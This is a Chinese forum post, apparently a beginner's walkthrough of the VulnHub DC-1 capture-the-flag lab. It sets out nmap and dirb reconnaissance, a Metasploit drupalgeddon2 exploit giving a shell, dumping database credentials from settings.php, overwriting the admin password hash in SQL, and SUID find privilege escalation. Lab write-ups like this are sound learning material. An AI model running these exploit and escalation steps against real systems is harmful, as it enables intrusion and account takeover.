电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 887 人浏览分享

渗透测试初体验:DC-1靶场

[复制链接]
887 0
渗透测试初体验:DC-1靶场

一、环境准备

攻击机:kali,kali是我几年前安装的,当时想着学习一下kali系统的使用,可是后来转向白盒代码审计了,也就一直搁浅
因为渗透的话需要使用到nmap,metaploit等工具,kali系统里面全部都集成了,省的再重新安装,因此如果没有安装
kali系统的可能需要自己去百度一下如何安装以及如何配置,更新源和输入法等等

QQ截图20220812095213.png

QQ截图20220812095305.png

QQ截图20220812095329.png

靶机:首先下载DC-1靶场,并在虚拟机中进行安装,安装的时候会提示有风险不需要管直接下一步,强制安装就可以了

https://www.vulnhub.com/entry/dc-1,292/

QQ截图20220812095411.png

2.1、对虚拟机进行相关的配置

QQ截图20220812100939.png

安装完成之后的页面,当时安装完成之后需要输入用户名和密码,捣鼓了半天,我也没找到哪边有显示用户名和密码
后来百度了一下发现,不需要进去,出现如下的页面就表明靶机已经安装完成了,正常渗透就行

QQ截图20220812101300.png

这边遇到了一个问题,由于一开始我的攻击机使用的是桥接的模式,靶机使用的是NAT模式,就会导致两者不在同一个网段
需要都修改成NAT模式,才能保证在同一个网段,但是我把kali修改成NAT之后,奇怪的事情发生了,使用ip addr命令无法
显示IP地址,后来百度了一下,在编辑-虚拟网络编辑器-还原默认设置,之后重新启动攻击机和靶机,这样就可以了

1619.png

1618.png

二、信息收集

由于是第一次进行渗透,主要还是参考前辈们的文章,再结合自己的理解,熟悉一下攻击流程

1、使用Nmap工具对网段进行扫描

使用如下nmap命令先对192.168.40网段进行扫描,先找到靶机的IP地址

nmap 192.168.40.0/24

1616.png

由上图就可以初步判断出靶机的IP为192.168.40.128,直接尝试登陆一下,看看对不对

1613.png

可以看到确实是这个IP,然后页面上面显示powered by Drupal,这个应该是个框架,百度一下看看发现是一
个基于PHP的内容管理系统,那么就可能会存在漏洞,可以使用MSF攻击一下

QQ截图20220812102422.png

1612.png

使用Nmap进行一下加强扫描,可以得到一些比较详细的信息

nmap -sS -sV -sC –O 192.168.40.128

1611.png

可以看到使用的Drupal7版本

使用dirb目录扫描工具进行进一步的信息探测

1610.png

Robots.txt是开放的,里面感觉也没啥重要的信息

目录扫描可以看到,都是403,无权限访问的页面,200都是不需要登录就可以访问的权限

1609.png

1608.png

既然有登录页面,那么看一下可不可以进行暴力破解以及重置密码等漏洞

1607.png

输入错的密码看看报错,提示的是用户名或者密码错误,无法猜解用户名

1606.png

看看有没有锁定机制或者验证码机制,密码输错五次之后会进行锁定,那么就没法进行暴力破解

1605.png

看看重置密码有没有问题,重置的话需要邮箱,并且是邮箱发送新密码

1604.png

那就没辙了,只能进入数据库里面去找用户名和密码了。
顺便注册个新账号,看看里面都是啥,注册的话还需要管理员进行审批,那么就意味着普通账号也获
取不到不能利用越权的方式来获取更多信息

1603.png

总结一下,通过上面的信息收集,我们知道了使用的框架版本Drupal7,使用的是mysql数据库那么就从框
架出手用一下MSF,看看有没有漏洞可以利用

三、漏洞扫描及利用

1、打开msf控制台

msfconsole

1602.png

2、搜索Drupal的相关漏洞

search Drupal

1601.png

可以看到有7个相关的漏洞,rank选择excellent,check选择yes,然后日期最新的,那么第四个可以使用

3、选择漏洞进行使用

msf5 > use 4

msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options

1600.png

只要配置了rhosts为靶机IP即可使用exploit,命令行先后键入

msf5 > set rhosts 192.168.40.128

msf5 > exploit

1659.png

exploit执行,意外发现可以直接建立起一个session(如果没建立起session,可以先尝试其他的exploit
若全部无法建立session再做考虑):

当然了,我这个是因为知道第四个是可以建立攻击成功的,如果在不知道的情况下,那就只能挨个进行尝试了
建立了一个session连接,就意味着我们已经获得了一个shell

Meterpreter也有自己一套独特的命令,有需要的可以自己去学习一下

查看获取的shell的权限

1212.png

四、找flag(提权和横向渗透)

作者其实在说明里面就说了,最终目标是获取root权限,为此他设置了5个flag,给初学者以引导,当然大神也可以
无视这5个flag,直接提升root权限。那么接下来我们跟着这5个flag来学习一下,怎么获取root权限

Flag1:

这个我上面的截图里面已经看到了

1211.png

1210.png

提示我们要去找CMS的配置文件
同时发现之前页面可以访问的robots.txt文件在这里,那么其实flag1的话页面也是可以访问的
dirb目录遍历应该是可以遍历出来的

1209.png

Flag2:

根据上面的提示,去翻目录

1208.png

在/var/www/sites/default/settings.php drupal的配置文件中获取到 flag2

暴力破解和目录攻击不是唯一的方式获取登录的权限,那么就只能去数据库里面查找对应的用户名和密码了。

1206.png

$drupal_hash_salt = 'X8gdX7OdYRiBnlHoj0ukhtZ7eO4EDrvMkhN21SWZocs';
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
Flag3:
输入 python 命令,获取交互式 shell
shell
python -c 'import pty;pty.spawn("/bin/bash")'

1205.png

QQ截图20220812111850.png

可以看到有mysql的进程,直接输入命令进入数据库

QQ截图20220812111916.png

成功进入数据库,找到对应的库

999.png

可以看到有一堆表,直接找我们感兴趣的用户名和密码表,可以看到有三个用户,密码是进行了哈希
操作的这个想破解的话,看起来是比较难的,前面在页面也试了,页面有防暴力破解的机制,无法使
用burpsuite进行暴力破解。

111.png

那么只要我们自己新建一个密码,进行同样的哈希,再进行替换就可以了全局搜一下看看有没
有相关的哈希算法。

998.png

发现有个password-hash.sh脚本

直接使用如下命令,设置新密码为123456

/var/www/scripts/password-hash.sh 123456

228.png

$S$DVk4bo8B2BWVB3QIsLbQ9.89rC29O0mZwWAV/bRpT59H/O1MutvG
然后重新进入数据库,替换对应的admin的密码
update users set pass="$S$DVk4bo8B2BWVB3QIsLbQ9.89rC29O0mZwWA
V/bRpT59H/O1MutvG" where name="admin";

318.png

226.png

这就已经修改成功了

Flag3:

这个时候我们已经知道了管理员的用户名和密码

admin:123456

登录进去看看flag3在哪里,登录之后就可以看到flag3

222.png

Flag4:

按照flag3的意思,应该是有个隐藏的用户

221.png

可以看到有个flag4用户,而且目录是/home/flag4

看一下

59.png

提示是使用find 命令

Flag5:

根据之前flag4得到的提醒,最终的flag在root目录下,而要进入root目录,显而易见地需要进行提权。
提示可以使用存在root权限的命令来进行提权
概念:SUID是一种Linux的权限机制,指某可执行程序在执行时将会使调用者暂时得到被执行程序的权限
如果被执行程序可以执行脚本或指令的话,就可以利用这个脚本或指令进行提权。

典型例子:

Nmap
Vim
find
Bash
More
Less
Nano
Cp
find / -user root -perm -4000 -print 2>/dev/null

58.png

有个/usr/bin/find/,那么就可以尝试使用find指令进行提权
发现原理:find指令可以有一个-exec的输入,可以执行一条指令或是一个脚本。若find是root权限
那么这条指令或脚本将以root权限执行

通用的方式如下:

find [文件名] -exec [想执行的命令] \;

注意只有当[文件名]对应的文件存在时,之后的命令才会执行。

创建一个test.txt

39.png

然后执行find命令

find test.txt -exec "/bin/sh" \;

38.png

16.png

发现提权成功,然后去root目录下就可以获取到最终的flag。

到此算是完成了五个flag的获取,但是在执行的过程中,如下问题需要整明白

四、遗留问题(后续学习后更新)

1、如下获取交互式shell的命令如何使用?
输入 python 命令,获取交互式 shell
shell
python -c 'import pty;pty.spawn("/bin/bash")'
2、suid提权的使用,及如下命令的使用?
find / -user root -perm -4000 -print 2>/dev/null
3、为何此处要执行/bin/sh
find test.txt -exec "/bin/sh" \;

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.